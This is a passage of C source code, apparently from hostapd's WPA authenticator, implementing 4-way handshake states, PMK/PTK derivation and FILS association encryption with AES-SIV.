WPA_NONCE_LEN)) { wpa_printf(MSG_ERROR, "WPA: Failed to get random data for ANonce"); sm->Disconnect = TRUE; return -1; } wpa_hexdump(MSG_DEBUG, "WPA: Assign new ANonce", sm->ANonce, WPA_NONCE_LEN); sm->TimeoutCtr = 0; return 0; } SM_STATE(WPA_PTK, INITPMK) { u8 msk[2 * PMK_LEN]; size_t len = 2 * PMK_LEN; SM_ENTRY_MA(WPA_PTK, INITPMK, wpa_ptk); #ifdef CONFIG_IEEE80211R_AP sm->xxkey_len = 0; #endif /* CONFIG_IEEE80211R_AP */ if (sm->pmksa) { wpa_printf(MSG_DEBUG, "WPA: PMK from PMKSA cache"); os_memcpy(sm->PMK, sm->pmksa->pmk, sm->pmksa->pmk_len); sm->pmk_len = sm->pmksa->pmk_len; #ifdef CONFIG_DPP } else if (sm->wpa_key_mgmt == WPA_KEY_MGMT_DPP) { wpa_printf(MSG_DEBUG, "DPP: No PMKSA cache entry for STA - reject connection"); sm->Disconnect = TRUE; sm->disconnect_reason = WLAN_REASON_INVALID_PMKID; return; #endif /* CONFIG_DPP */ } else if (wpa_auth_get_msk(sm->wpa_auth, sm->addr, msk, &len) == 0) { unsigned int pmk_len; if (wpa_key_mgmt_sha384(sm->wpa_key_mgmt)) pmk_len = PMK_LEN_SUITE_B_192; else pmk_len = PMK_LEN; wpa_printf(MSG_DEBUG, "WPA: PMK from EAPOL state machine " "(MSK len=%lu PMK len=%u)", (unsigned long) len, pmk_len); if (len < pmk_len) { wpa_printf(MSG_DEBUG, "WPA: MSK not long enough (%u) to create PMK (%u)", (unsigned int) len, (unsigned int) pmk_len); sm->Disconnect = TRUE; return; } os_memcpy(sm->PMK, msk, pmk_len); sm->pmk_len = pmk_len; #ifdef CONFIG_IEEE80211R_AP if (len >= 2 * PMK_LEN) { if (wpa_key_mgmt_sha384(sm->wpa_key_mgmt)) { os_memcpy(sm->xxkey, msk, SHA384_MAC_LEN); sm->xxkey_len = SHA384_MAC_LEN; } else { os_memcpy(sm->xxkey, msk + PMK_LEN, PMK_LEN); sm->xxkey_len = PMK_LEN; } } #endif /* CONFIG_IEEE80211R_AP */ } else { wpa_printf(MSG_DEBUG, "WPA: Could not get PMK, get_msk: %p", sm->wpa_auth->cb->get_msk); sm->Disconnect = TRUE; return; } os_memset(msk, 0, sizeof(msk)); sm->req_replay_counter_used = 0; /* IEEE 802.11i does not set keyRun to FALSE, but not doing this * will break reauthentication since EAPOL state machines may not be * get into AUTHENTICATING state that clears keyRun before WPA state * machine enters AUTHENTICATION2 state and goes immediately to INITPMK * state and takes PMK from the previously used AAA Key. This will * eventually fail in 4-Way Handshake because Supplicant uses PMK * derived from the new AAA Key. Setting keyRun = FALSE here seems to * be good workaround for this issue. */ wpa_auth_set_eapol(sm->wpa_auth, sm->addr, WPA_EAPOL_keyRun, 0); } SM_STATE(WPA_PTK, INITPSK) { const u8 *psk; size_t psk_len; SM_ENTRY_MA(WPA_PTK, INITPSK, wpa_ptk); psk = wpa_auth_get_psk(sm->wpa_auth, sm->addr, sm->p2p_dev_addr, NULL, &psk_len); if (psk) { os_memcpy(sm->PMK, psk, psk_len); sm->pmk_len = psk_len; #ifdef CONFIG_IEEE80211R_AP os_memcpy(sm->xxkey, psk, PMK_LEN); sm->xxkey_len = PMK_LEN; #endif /* CONFIG_IEEE80211R_AP */ } #ifdef CONFIG_SAE if (wpa_auth_uses_sae(sm) && sm->pmksa) { wpa_printf(MSG_DEBUG, "SAE: PMK from PMKSA cache"); os_memcpy(sm->PMK, sm->pmksa->pmk, sm->pmksa->pmk_len); sm->pmk_len = sm->pmksa->pmk_len; } #endif /* CONFIG_SAE */ sm->req_replay_counter_used = 0; } SM_STATE(WPA_PTK, PTKSTART) { u8 buf[2 + RSN_SELECTOR_LEN + PMKID_LEN], *pmkid = NULL; size_t pmkid_len = 0; SM_ENTRY_MA(WPA_PTK, PTKSTART, wpa_ptk); sm->PTKRequest = FALSE; sm->TimeoutEvt = FALSE; sm->alt_snonce_valid = FALSE; sm->TimeoutCtr++; if (sm->TimeoutCtr > sm->wpa_auth->conf.wpa_pairwise_update_count) { /* No point in sending the EAPOL-Key - we will disconnect * immediately following this. */ return; } wpa_auth_logger(sm->wpa_auth, sm->addr, LOGGER_DEBUG, "sending 1/4 msg of 4-Way Handshake"); /* * TODO: Could add PMKID even with WPA2-PSK, but only if there is only * one possible PSK for this STA. */ if (sm->wpa == WPA_VERSION_WPA2 && (wpa_key_mgmt_wpa_ieee8021x(sm->wpa_key_mgmt) || (sm->wpa_key_mgmt == WPA_KEY_MGMT_OWE && sm->pmksa) || wpa_key_mgmt_sae(sm->wpa_key_mgmt)) && sm->wpa_key_mgmt != WPA_KEY_MGMT_OSEN) { pmkid = buf; pmkid_len = 2 + RSN_SELECTOR_LEN + PMKID_LEN; pmkid[0] = WLAN_EID_VENDOR_SPECIFIC; pmkid[1] = RSN_SELECTOR_LEN + PMKID_LEN; RSN_SELECTOR_PUT(&pmkid[2], RSN_KEY_DATA_PMKID); if (sm->pmksa) { wpa_hexdump(MSG_DEBUG, "RSN: Message 1/4 PMKID from PMKSA entry", sm->pmksa->pmkid, PMKID_LEN); os_memcpy(&pmkid[2 + RSN_SELECTOR_LEN], sm->pmksa->pmkid, PMKID_LEN); } else if (wpa_key_mgmt_suite_b(sm->wpa_key_mgmt)) { /* No KCK available to derive PMKID */ wpa_printf(MSG_DEBUG, "RSN: No KCK available to derive PMKID for message 1/4"); pmkid = NULL; #ifdef CONFIG_SAE } else if (wpa_key_mgmt_sae(sm->wpa_key_mgmt)) { if (sm->pmkid_set) { wpa_hexdump(MSG_DEBUG, "RSN: Message 1/4 PMKID from SAE", sm->pmkid, PMKID_LEN); os_memcpy(&pmkid[2 + RSN_SELECTOR_LEN], sm->pmkid, PMKID_LEN); } else { /* No PMKID available */ wpa_printf(MSG_DEBUG, "RSN: No SAE PMKID available for message 1/4"); pmkid = NULL; } #endif /* CONFIG_SAE */ } else { /* * Calculate PMKID since no PMKSA cache entry was * available with pre-calculated PMKID. */ rsn_pmkid(sm->PMK, sm->pmk_len, sm->wpa_auth->addr, sm->addr, &pmkid[2 + RSN_SELECTOR_LEN], sm->wpa_key_mgmt); wpa_hexdump(MSG_DEBUG, "RSN: Message 1/4 PMKID derived from PMK", &pmkid[2 + RSN_SELECTOR_LEN], PMKID_LEN); } } wpa_send_eapol(sm->wpa_auth, sm, WPA_KEY_INFO_ACK | WPA_KEY_INFO_KEY_TYPE, NULL, sm->ANonce, pmkid, pmkid_len, 0, 0); } static int wpa_derive_ptk(struct wpa_state_machine *sm, const u8 *snonce, const u8 *pmk, unsigned int pmk_len, struct wpa_ptk *ptk) { #ifdef CONFIG_IEEE80211R_AP if (wpa_key_mgmt_ft(sm->wpa_key_mgmt)) return wpa_auth_derive_ptk_ft(sm, pmk, ptk); #endif /* CONFIG_IEEE80211R_AP */ return wpa_pmk_to_ptk(pmk, pmk_len, "Pairwise key expansion", sm->wpa_auth->addr, sm->addr, sm->ANonce, snonce, ptk, sm->wpa_key_mgmt, sm->pairwise); } #ifdef CONFIG_FILS int fils_auth_pmk_to_ptk(struct wpa_state_machine *sm, const u8 *pmk, size_t pmk_len, const u8 *snonce, const u8 *anonce, const u8 *dhss, size_t dhss_len, struct wpabuf *g_sta, struct wpabuf *g_ap) { u8 ick[FILS_ICK_MAX_LEN]; size_t ick_len; int res; u8 fils_ft[FILS_FT_MAX_LEN]; size_t fils_ft_len = 0; res = fils_pmk_to_ptk(pmk, pmk_len, sm->addr, sm->wpa_auth->addr, snonce, anonce, dhss, dhss_len, &sm->PTK, ick, &ick_len, sm->wpa_key_mgmt, sm->pairwise, fils_ft, &fils_ft_len); if (res < 0) return res; sm->PTK_valid = TRUE; sm->tk_already_set = FALSE; #ifdef CONFIG_IEEE80211R_AP if (fils_ft_len) { struct wpa_authenticator *wpa_auth = sm->wpa_auth; struct wpa_auth_config *conf = &wpa_auth->conf; u8 pmk_r0[PMK_LEN_MAX], pmk_r0_name[WPA_PMK_NAME_LEN]; int use_sha384 = wpa_key_mgmt_sha384(sm->wpa_key_mgmt); size_t pmk_r0_len = use_sha384 ? SHA384_MAC_LEN : PMK_LEN; if (wpa_derive_pmk_r0(fils_ft, fils_ft_len, conf->ssid, conf->ssid_len, conf->mobility_domain, conf->r0_key_holder, conf->r0_key_holder_len, sm->addr, pmk_r0, pmk_r0_name, use_sha384) < 0) return -1; wpa_hexdump_key(MSG_DEBUG, "FILS+FT: PMK-R0", pmk_r0, pmk_r0_len); wpa_hexdump(MSG_DEBUG, "FILS+FT: PMKR0Name", pmk_r0_name, WPA_PMK_NAME_LEN); wpa_ft_store_pmk_fils(sm, pmk_r0, pmk_r0_name); os_memset(fils_ft, 0, sizeof(fils_ft)); } #endif /* CONFIG_IEEE80211R_AP */ res = fils_key_auth_sk(ick, ick_len, snonce, anonce, sm->addr, sm->wpa_auth->addr, g_sta ? wpabuf_head(g_sta) : NULL, g_sta ? wpabuf_len(g_sta) : 0, g_ap ? wpabuf_head(g_ap) : NULL, g_ap ? wpabuf_len(g_ap) : 0, sm->wpa_key_mgmt, sm->fils_key_auth_sta, sm->fils_key_auth_ap, &sm->fils_key_auth_len); os_memset(ick, 0, sizeof(ick)); /* Store nonces for (Re)Association Request/Response frame processing */ os_memcpy(sm->SNonce, snonce, FILS_NONCE_LEN); os_memcpy(sm->ANonce, anonce, FILS_NONCE_LEN); return res; } static int wpa_aead_decrypt(struct wpa_state_machine *sm, struct wpa_ptk *ptk, u8 *buf, size_t buf_len, u16 *_key_data_len) { struct ieee802_1x_hdr *hdr; struct wpa_eapol_key *key; u8 *pos; u16 key_data_len; u8 *tmp; const u8 *aad[1]; size_t aad_len[1]; hdr = (struct ieee802_1x_hdr *) buf; key = (struct wpa_eapol_key *) (hdr + 1); pos = (u8 *) (key + 1); key_data_len = WPA_GET_BE16(pos); if (key_data_len < AES_BLOCK_SIZE || key_data_len > buf_len - sizeof(*hdr) - sizeof(*key) - 2) { wpa_auth_logger(sm->wpa_auth, sm->addr, LOGGER_INFO, "No room for AES-SIV data in the frame"); return -1; } pos += 2; /* Pointing at the Encrypted Key Data field */ tmp = os_malloc(key_data_len); if (!tmp) return -1; /* AES-SIV AAD from EAPOL protocol version field (inclusive) to * to Key Data (exclusive). */ aad[0] = buf; aad_len[0] = pos - buf; if (aes_siv_decrypt(ptk->kek, ptk->kek_len, pos, key_data_len, 1, aad, aad_len, tmp) < 0) { wpa_auth_logger(sm->wpa_auth, sm->addr, LOGGER_INFO, "Invalid AES-SIV data in the frame"); bin_clear_free(tmp, key_data_len); return -1; } /* AEAD decryption and validation completed successfully */ key_data_len -= AES_BLOCK_SIZE; wpa_hexdump_key(MSG_DEBUG, "WPA: Decrypted Key Data", tmp, key_data_len); /* Replace Key Data field with the decrypted version */ os_memcpy(pos, tmp, key_data_len); pos -= 2; /* Key Data Length field */ WPA_PUT_BE16(pos, key_data_len); bin_clear_free(tmp, key_data_len); if (_key_data_len) *_key_data_len = key_data_len; return 0; } const u8 * wpa_fils_validate_fils_session(struct wpa_state_machine *sm, const u8 *ies, size_t ies_len, const u8 *fils_session) { const u8 *ie, *end; const u8 *session = NULL; if (!wpa_key_mgmt_fils(sm->wpa_key_mgmt)) { wpa_printf(MSG_DEBUG, "FILS: Not a FILS AKM - reject association"); return NULL; } /* Verify Session element */ ie = ies; end = ((const u8 *) ie) + ies_len; while (ie + 1 < end) { if (ie + 2 + ie[1] > end) break; if (ie[0] == WLAN_EID_EXTENSION && ie[1] >= 1 + FILS_SESSION_LEN && ie[2] == WLAN_EID_EXT_FILS_SESSION) { session = ie; break; } ie += 2 + ie[1]; } if (!session) { wpa_printf(MSG_DEBUG, "FILS: %s: Could not find FILS Session element in Assoc Req - reject", __func__); return NULL; } if (!fils_session) { wpa_printf(MSG_DEBUG, "FILS: %s: Could not find FILS Session element in STA entry - reject", __func__); return NULL; } if (os_memcmp(fils_session, session + 3, FILS_SESSION_LEN) != 0) { wpa_printf(MSG_DEBUG, "FILS: Session mismatch"); wpa_hexdump(MSG_DEBUG, "FILS: Expected FILS Session", fils_session, FILS_SESSION_LEN); wpa_hexdump(MSG_DEBUG, "FILS: Received FILS Session", session + 3, FILS_SESSION_LEN); return NULL; } return session; } int wpa_fils_validate_key_confirm(struct wpa_state_machine *sm, const u8 *ies, size_t ies_len) { struct ieee802_11_elems elems; if (ieee802_11_parse_elems(ies, ies_len, &elems, 1) == ParseFailed) { wpa_printf(MSG_DEBUG, "FILS: Failed to parse decrypted elements"); return -1; } if (!elems.fils_session) { wpa_printf(MSG_DEBUG, "FILS: No FILS Session element"); return -1; } if (!elems.fils_key_confirm) { wpa_printf(MSG_DEBUG, "FILS: No FILS Key Confirm element"); return -1; } if (elems.fils_key_confirm_len != sm->fils_key_auth_len) { wpa_printf(MSG_DEBUG, "FILS: Unexpected Key-Auth length %d (expected %d)", elems.fils_key_confirm_len, (int) sm->fils_key_auth_len); return -1; } if (os_memcmp(elems.fils_key_confirm, sm->fils_key_auth_sta, sm->fils_key_auth_len) != 0) { wpa_printf(MSG_DEBUG, "FILS: Key-Auth mismatch"); wpa_hexdump(MSG_DEBUG, "FILS: Received Key-Auth", elems.fils_key_confirm, elems.fils_key_confirm_len); wpa_hexdump(MSG_DEBUG, "FILS: Expected Key-Auth", sm->fils_key_auth_sta, sm->fils_key_auth_len); return -1; } return 0; } int fils_decrypt_assoc(struct wpa_state_machine *sm, const u8 *fils_session, const struct ieee80211_mgmt *mgmt, size_t frame_len, u8 *pos, size_t left) { u16 fc, stype; const u8 *end, *ie_start, *ie, *session, *crypt; const u8 *aad[5]; size_t aad_len[5]; if (!sm || !sm->PTK_valid) { wpa_printf(MSG_DEBUG, "FILS: No KEK to decrypt Assocication Request frame"); return -1; } if (!wpa_key_mgmt_fils(sm->wpa_key_mgmt)) { wpa_printf(MSG_DEBUG, "FILS: Not a FILS AKM - reject association"); return -1; } end = ((const u8 *) mgmt) + frame_len; fc = le_to_host16(mgmt->frame_control); stype = WLAN_FC_GET_STYPE(fc); if (stype == WLAN_FC_STYPE_REASSOC_REQ) ie_start = mgmt->u.reassoc_req.variable; else ie_start = mgmt->u.assoc_req.variable; ie = ie_start; /* * Find FILS Session element which is the last unencrypted element in * the frame. */ session = wpa_fils_validate_fils_session(sm, ie, end - ie, fils_session); if (!session) { wpa_printf(MSG_DEBUG, "FILS: Session validation failed"); return -1; } crypt = session + 2 + session[1]; if (end - crypt < AES_BLOCK_SIZE) { wpa_printf(MSG_DEBUG, "FILS: Too short frame to include AES-SIV data"); return -1; } /* AES-SIV AAD vectors */ /* The STA's MAC address */ aad[0] = mgmt->sa; aad_len[0] = ETH_ALEN; /* The AP's BSSID */ aad[1] = mgmt->da; aad_len[1] = ETH_ALEN; /* The STA's nonce */ aad[2] = sm->SNonce; aad_len[2] = FILS_NONCE_LEN; /* The AP's nonce */ aad[3] = sm->ANonce; aad_len[3] = FILS_NONCE_LEN; /* * The (Re)Association Request frame from the Capability Information * field to the FILS Session element (both inclusive). */ aad[4] = (const u8 *) &mgmt->u.assoc_req.capab_info; aad_len[4] = crypt - aad[4]; if (aes_siv_decrypt(sm->PTK.kek, sm->PTK.kek_len, crypt, end - crypt, 5, aad, aad_len, pos + (crypt - ie_start)) < 0) { wpa_printf(MSG_DEBUG, "FILS: Invalid AES-SIV data in the frame"); return -1; } wpa_hexdump(MSG_DEBUG, "FILS: Decrypted Association Request elements", pos, left - AES_BLOCK_SIZE); if (wpa_fils_validate_key_confirm(sm, pos, left - AES_BLOCK_SIZE) < 0) { wpa_printf(MSG_DEBUG, "FILS: Key Confirm validation failed"); return -1; } return left - AES_BLOCK_SIZE; } int fils_encrypt_assoc(struct wpa_state_machine *sm, u8 *buf, size_t current_len, size_t max_len, const struct wpabuf *hlp) { u8 *end = buf + max_len; u8 *pos = buf + current_len; struct ieee80211_mgmt *mgmt; struct wpabuf *plain; const u8 *aad[5]; size_t aad_len[5]; if (!sm || !sm->PTK_valid) return -1; wpa_hexdump(MSG_DEBUG, "FILS: Association Response frame before FILS processing", buf, current_len); mgmt = (struct ieee80211_mgmt *) buf; /* AES-SIV AAD vectors */ /* The AP's BSSID */ aad[0] = mgmt->sa; aad_len[0] = ETH_ALEN; /* The STA's MAC address */ aad[1] = mgmt->da; aad_len[1] = ETH_ALEN; /* The AP's nonce */ aad[2] = sm->ANonce; aad_len[2] = FILS_NONCE_LEN; /* The STA's nonce */ aad[3] = sm->SNonce; aad_len[3] = FILS_NONCE_LEN; /* * The (Re)Association Response frame from the Capability Information * field (the same offset in both Association and Reassociation * Response frames) to the FILS Session element (both inclusive). */ aad[4] = (const u8 *) &mgmt->u.assoc_resp.capab_info; aad_len[4] = pos - aad[4]; /* The following elements will be encrypted with AES-SIV */ plain = fils_prepare_plainbuf(sm, hlp); if (!plain) { wpa_printf(MSG_DEBUG, "FILS: Plain buffer prep failed"); return -1; } if (pos + wpabuf_len(plain) + AES_BLOCK_SIZE > end) { wpa_printf(MSG_DEBUG, "FILS: Not enough room for FILS elements"); wpabuf_free(plain); return -1; } wpa_hexdump_buf_key(MSG_DEBUG, "FILS: Association Response plaintext", plain); if (aes_siv_encrypt(sm->PTK.kek, sm->PTK.kek_len, wpabuf_head(plain), wpabuf_len(plain), 5, aad, aad_len, pos) < 0) { wpabuf_free(plain); return -1; } wpa_hexdump(MSG_DEBUG, "FILS: Encrypted Association Response elements", pos, AES_BLOCK_SIZE + wpabuf_len(plain)); current_len += wpabuf_len(plain) + AES_BLOCK_SIZE; wpabuf_free(plain); sm->fils_completed = 1; return current_len; } static struct wpabuf * fils_prepare_plainbuf(struct wpa_state_machine *sm, const struct wpabuf *hlp) { struct wpabuf *plain; u8 *len, *tmp, *tmp2; u8 hdr[2]; u8 *gtk, dummy_gtk[32]; size_t gtk_len; struct wpa_group *gsm; plain = wpabuf_alloc(1000); if (!plain) return NULL; /* TODO: FILS Public Key */ /* FILS Key Confirmation */ wpabuf_put_u8(plain, WLAN_EID_EXTENSION); /* Element ID */ wpabuf_put_u8(plain, 1 + sm->fils_key_auth_len); /* Length */ /* Element ID Extension */ wpabuf_put_u8(plain, WLAN_EID_EXT_FILS_KEY_CONFIRM); wpabuf_put_data(plain, sm->fils_key_auth_ap, sm->fils_key_auth_len); /* FILS HLP Container */ if (hlp) wpabuf_put_buf(plain, hlp); /* TODO: FILS IP Address Assignment */ /* Key Delivery */ gsm = sm->group; wpabuf_put_u8(plain, WLAN_EID_EXTENSION); /* Element ID */ len = wpabuf_put(plain, 1); wpabuf_put_u8(plain, WLAN_EID_EXT_KEY_DELIVERY); wpa_auth_get_seqnum(sm->wpa_auth, NULL, gsm->GN, wpabuf_put(plain, WPA_KEY_RSC_LEN)); /* GTK KDE */ gtk = gsm->GTK[gsm->GN - 1]; gtk_len = gsm->GTK_len; if (sm->wpa_auth->conf.disable_gtk || sm->wpa_key_mgmt == WPA_KEY_MGMT_OSEN) { /* * Provide unique random GTK to each STA to prevent use * of GTK in the BSS. */ if (random_get_bytes(dummy_gtk, gtk_len) < 0) { wpabuf_free(plain); return NULL; } gtk = dummy_gtk; } hdr[0] = gsm->GN & 0x03; hdr[1] = 0; tmp = wpabuf_put(plain, 0); tmp2 = wpa_add_kde(tmp, RSN_KEY_DATA_GROUPKEY, hdr, 2, gtk, gtk_len); wpabuf_put(plain, tmp2 - tmp); /* IGTK KDE */ tmp = wpabuf_put(plain, 0); tmp2 = ieee80211w_kde_add(sm, tmp); wpabuf_put(plain, tmp2 - tmp); *len = (u8 *) wpabuf_put(plain, 0) - len - 1; return plain; } int fils_set_tk(struct wpa_state_machine *sm) { enum wpa_alg alg; int klen; if (!sm || !sm->PTK_valid) { wpa_printf(MSG_DEBUG, "FILS: No valid PTK available to set TK"); return -1; } if (sm->tk_already_set) { wpa_printf(MSG_DEBUG, "FILS: TK already set to the driver"); return -1; } alg = wpa_cipher_to_alg(sm->pairwise); klen = wpa_cipher_key_len(sm->pairwise); wpa_printf(MSG_DEBUG, "FILS: Configure TK to the driver"); if (wpa_auth_set_key(sm->wpa_auth, 0, alg, sm->addr, 0, sm->PTK.tk, klen)) { wpa_printf(MSG_DEBUG, "FILS: Failed to set TK to the driver"); return -1; } sm->tk_already_set = TRUE; return 0; } u8 * hostapd_eid_assoc_fils_session(struct wpa_state_machine *sm, u8 *buf, const u8 *fils_session, struct wpabuf *hlp) { struct wpabuf *plain; u8 *pos = buf; /* FILS Session */ *pos++ = WLAN_EID_EXTENSION; /* Element ID */ *pos++ = 1 + FILS_SESSION_LEN; /* Length */ *pos++ = WLAN_EID_EXT_FILS_SESSION; /* Element ID Extension */ os_memcpy(pos, fils_session, FILS_SESSION_LEN); pos += FILS_SESSION_LEN; plain = fils_prepare_plainbuf(sm, hlp); if (!plain) { wpa_printf(MSG_DEBUG, "FILS: Plain buffer prep failed"); return NULL; } os_memcpy(pos, wpabuf_head(plain), wpabuf_len(plain)); pos += wpabuf_len(plain); wpa_printf(MSG_DEBUG, "%s: plain buf_len: %u", __func__, (unsigned int) wpabuf_len(plain)); wpabuf_free(plain); sm->fils_completed = 1; return pos; } #endif /* CONFIG_FILS */ SM_STATE(WPA_PTK, PTKCALCNEGOTIATING) { struct wpa_authenticator *wpa_auth = sm->wpa_auth; struct wpa_ptk PTK; int ok = 0, psk_found = 0; const u8 *pmk = NULL; size_t pmk_len; int ft; const u8 *eapol_key_ie, *key_data, *mic; u16 key_data_length; size_t mic_len, eapol_key_ie_len; struct ieee802_1x_hdr *hdr; struct wpa_eapol_key *key; struct wpa_eapol_ie_parse kde; SM_ENTRY_MA(WPA_PTK, PTKCALCNEGOTIATING, wpa_ptk); sm->EAPOLKeyReceived = FALSE; sm->update_snonce = FALSE; os_memset(&PTK, 0, sizeof(PTK)); mic_len = wpa_mic_len(sm->wpa_key_mgmt, sm->pmk_len); /* WPA with IEEE 802.1X: use the derived PMK from EAP * WPA-PSK: iterate through possible PSKs and select the one matching * the packet */ for (;;) { if (wpa_key_mgmt_wpa_psk(sm->wpa_key_mgmt) && !wpa_key_mgmt_sae(sm->wpa_key_mgmt)) { pmk = wpa_auth_get_psk(sm->wpa_auth, sm->addr, sm->p2p_dev_addr, pmk, &pmk_len); if (pmk == NULL) break; psk_found = 1; #ifdef CONFIG_IEEE80211R_AP if (wpa_key_mgmt_ft_psk(sm->wpa_key_mgmt)) { os_memcpy(sm->xxkey, pmk, pmk_len); sm->xxkey_len = pmk_len; } #endif /* CONFIG_IEEE80211R_AP */ } else { pmk = sm->PMK; pmk_len = sm->pmk_len; } if (wpa_derive_ptk(sm, sm->SNonce, pmk, pmk_len, &PTK) < 0) break; if (mic_len && wpa_verify_key_mic(sm->wpa_key_mgmt, pmk_len, &PTK, sm->last_rx_eapol_key, sm->last_rx_eapol_key_len) == 0) { ok = 1; break; } #ifdef CONFIG_FILS if (!mic_len && wpa_aead_decrypt(sm, &PTK, sm->last_rx_eapol_key, sm->last_rx_eapol_key_len, NULL) == 0) { ok = 1; break; } #endif /* CONFIG_FILS */ if (!wpa_key_mgmt_wpa_psk(sm->wpa_key_mgmt) || wpa_key_mgmt_sae(sm->wpa_key_mgmt)) break; } if (!ok) { wpa_auth_logger(sm->wpa_auth, sm->addr, LOGGER_DEBUG, "invalid MIC in msg 2/4 of 4-Way Handshake"); if (psk_found) wpa_auth_psk_failure_report(sm->wpa_auth, sm->addr); return; } /* * Note: last_rx_eapol_key length fields have already been validated in * wpa_receive(). */ hdr = (struct ieee802_1x_hdr *) sm->last_rx_eapol_key; key = (struct wpa_eapol_key *) (hdr + 1); mic = (u8 *) (key + 1); key_data = mic + mic_len + 2; key_data_length = WPA_GET_BE16(mic + mic_len); if (key_data_length > sm->last_rx_eapol_key_len - sizeof(*hdr) - sizeof(*key) - mic_len - 2) return; if (wpa_parse_kde_ies(key_data, key_data_length, &kde) < 0) { wpa_auth_vlogger(wpa_auth, sm->addr, LOGGER_INFO, "received EAPOL-Key msg 2/4 with invalid Key Data contents"); return; } if (kde.rsn_ie) { eapol_key_ie = kde.rsn_ie; eapol_key_ie_len = kde.rsn_ie_len; } else if (kde.osen) { eapol_key_ie = kde.osen; eapol_key_ie_len = kde.osen_len; } else { eapol_key_ie = kde.wpa_ie; eapol_key_ie_len = kde.wpa_ie_len; } ft = sm->wpa == WPA_VERSION_WPA2 && wpa_key_mgmt_ft(sm->wpa_key_mgmt); if (sm->wpa_ie == NULL || wpa_compare_rsn_ie(ft, sm->wpa_ie, sm->wpa_ie_len, eapol_key_ie, eapol_key_ie_len)) { wpa_auth_logger(wpa_auth, sm->addr, LOGGER_INFO, "WPA IE from (Re)AssocReq did not match with msg 2/4"); if (sm->wpa_ie) { wpa_hexdump(MSG_DEBUG, "WPA IE in AssocReq", sm->wpa_ie, sm->wpa_ie_len); } wpa_hexdump(MSG_DEBUG, "WPA IE in msg 2/4", eapol_key_ie, eapol_key_ie_len); /* MLME-DEAUTHENTICATE.request */ wpa_sta_disconnect(wpa_auth, sm->addr, WLAN_REASON_PREV_AUTH_NOT_VALID); return; } #ifdef CONFIG_IEEE80211R_AP if (ft && ft_check_msg_2_of_4(wpa_auth, sm, &kde) < 0) { wpa_sta_disconnect(wpa_auth, sm->addr, WLAN_REASON_PREV_AUTH_NOT_VALID); return; } #endif /* CONFIG_IEEE80211R_AP */ #ifdef CONFIG_P2P if (kde.ip_addr_req && kde.ip_addr_req[0] && wpa_auth->ip_pool && WPA_GET_BE32(sm->ip_addr) == 0) { int idx; wpa_printf(MSG_DEBUG, "P2P: IP address requested in EAPOL-Key exchange"); idx = bitfield_get_first_zero(wpa_auth->ip_pool); if (idx >= 0) { u32 start = WPA_GET_BE32(wpa_auth->conf.ip_addr_start); bitfield_set(wpa_auth->ip_pool, idx); WPA_PUT_BE32(sm->ip_addr, start + idx); wpa_printf(MSG_DEBUG, "P2P: Assigned IP address %u.%u.%u.%u to " MACSTR, sm->ip_addr[0], sm->ip_addr[1], sm->ip_addr[2], sm->ip_addr[3], MAC2STR(sm->addr)); } } #endif /* CONFIG_P2P */ #ifdef CONFIG_IEEE80211R_AP if (sm->wpa == WPA_VERSION_WPA2 && wpa_key_mgmt_ft(sm->wpa_key_mgmt)) { /* * Verify that PMKR1Name from EAPOL-Key message 2/4 matches * with the value we derived. */ if (os_memcmp_const(sm->sup_pmk_r1_name, sm->pmk_r1_name, WPA_PMK_NAME_LEN) != 0) { wpa_auth_logger(sm->wpa_auth, sm->addr, LOGGER_DEBUG, "PMKR1Name mismatch in FT 4-way " "handshake"); wpa_hexdump(MSG_DEBUG, "FT: PMKR1Name from " "Supplicant", sm->sup_pmk_r1_name, WPA_PMK_NAME_LEN); wpa_hexdump(MSG_DEBUG, "FT: Derived PMKR1Name", sm->pmk_r1_name, WPA_PMK_NAME_LEN); return; } } #endif /* CONFIG_IEEE80211R_AP */ sm->pending_1_of_4_timeout = 0; eloop_cancel_timeout(wpa_send_eapol_timeout, sm->wpa_auth, sm); if (wpa_key_mgmt_wpa_psk(sm->wpa_key_mgmt)) { /* PSK may have changed from the previous choice, so update * state machine data based on whatever PSK was selected here. */ os_memcpy(sm->PMK, pmk, PMK_LEN); sm->pmk_len = PMK_LEN; } sm->MICVerified = TRUE; os_memcpy(&sm->PTK, &PTK, sizeof(PTK)); sm->PTK_valid = TRUE; } SM_STATE(WPA_PTK, PTKCALCNEGOTIATING2) { SM_ENTRY_MA(WPA_PTK, PTKCALCNEGOTIATING2, wpa_ptk); sm->TimeoutCtr = 0; } #ifdef CONFIG_IEEE80211W static int ieee80211w_kde_len(struct wpa_state_machine *sm) { if (sm->mgmt_frame_prot) { size_t len; len = wpa_cipher_key_len(sm->wpa_auth->conf.group_mgmt_cipher); return 2 + RSN_SELECTOR_LEN + WPA_IGTK_KDE_PREFIX_LEN + len; } return 0; } static u8 * ieee80211w_kde_add(struct wpa_state_machine *sm, u8 *pos) { struct wpa_igtk_kde igtk; struct wpa_group *gsm = sm->group; u8 rsc[WPA_KEY_RSC_LEN]; size_t len = wpa_cipher_key_len(sm->wpa_auth->conf.group_mgmt_cipher); if (!sm->mgmt_frame_prot) return pos; igtk.keyid[0] = gsm->GN_igtk; igtk.keyid[1] = 0; if (gsm->wpa_group_state != WPA_GROUP_SETKEYSDONE || wpa_auth_get_seqnum(sm->wpa_auth, NULL, gsm->GN_igtk, rsc) < 0) os_memset(igtk.pn, 0, sizeof(igtk.pn)); else os_memcpy(igtk.pn, rsc, sizeof(igtk.pn)); os_memcpy(igtk.igtk, gsm->IGTK[gsm->GN_igtk - 4], len); if (sm->wpa_auth->conf.disable_gtk || sm->wpa_key_mgmt == WPA_KEY_MGMT_OSEN) { /* * Provide unique random IGTK to each STA to prevent use of * IGTK in the BSS. */ if (random_get_bytes(igtk.igtk, len) < 0) return pos; } pos = wpa_add_kde(pos, RSN_KEY_DATA_IGTK, (const u8 *) &igtk, WPA_IGTK_KDE_PREFIX_LEN + len, NULL, 0); return pos; } #else /* CONFIG_IEEE80211W */ static int ieee80211w_kde_len(struct wpa_state_machine *sm) { return 0; } static u8 * ieee80211w_kde_add(struct wpa_state_machine *sm, u8 *pos) { return pos; } #endif /* CONFIG_IEEE80211W */ SM_STATE(WPA_PTK, PTKINITNEGOTIATING) { u8 rsc[WPA_KEY_RSC_LEN], *_rsc, *gtk, *kde, *pos, dummy_gtk[32]; size_t gtk_len, kde_len; struct wpa_group *gsm = sm->group; u8 *wpa_ie; int wpa_ie_len, secure, keyidx, encr = 0; SM_ENTRY_MA(WPA_PTK, PTKINITNEGOTIATING, wpa_ptk); sm->TimeoutEvt = FALSE; sm->TimeoutCtr++; if (sm->wpa_auth->conf.wpa_disable_eapol_key_retries && sm->TimeoutCtr > 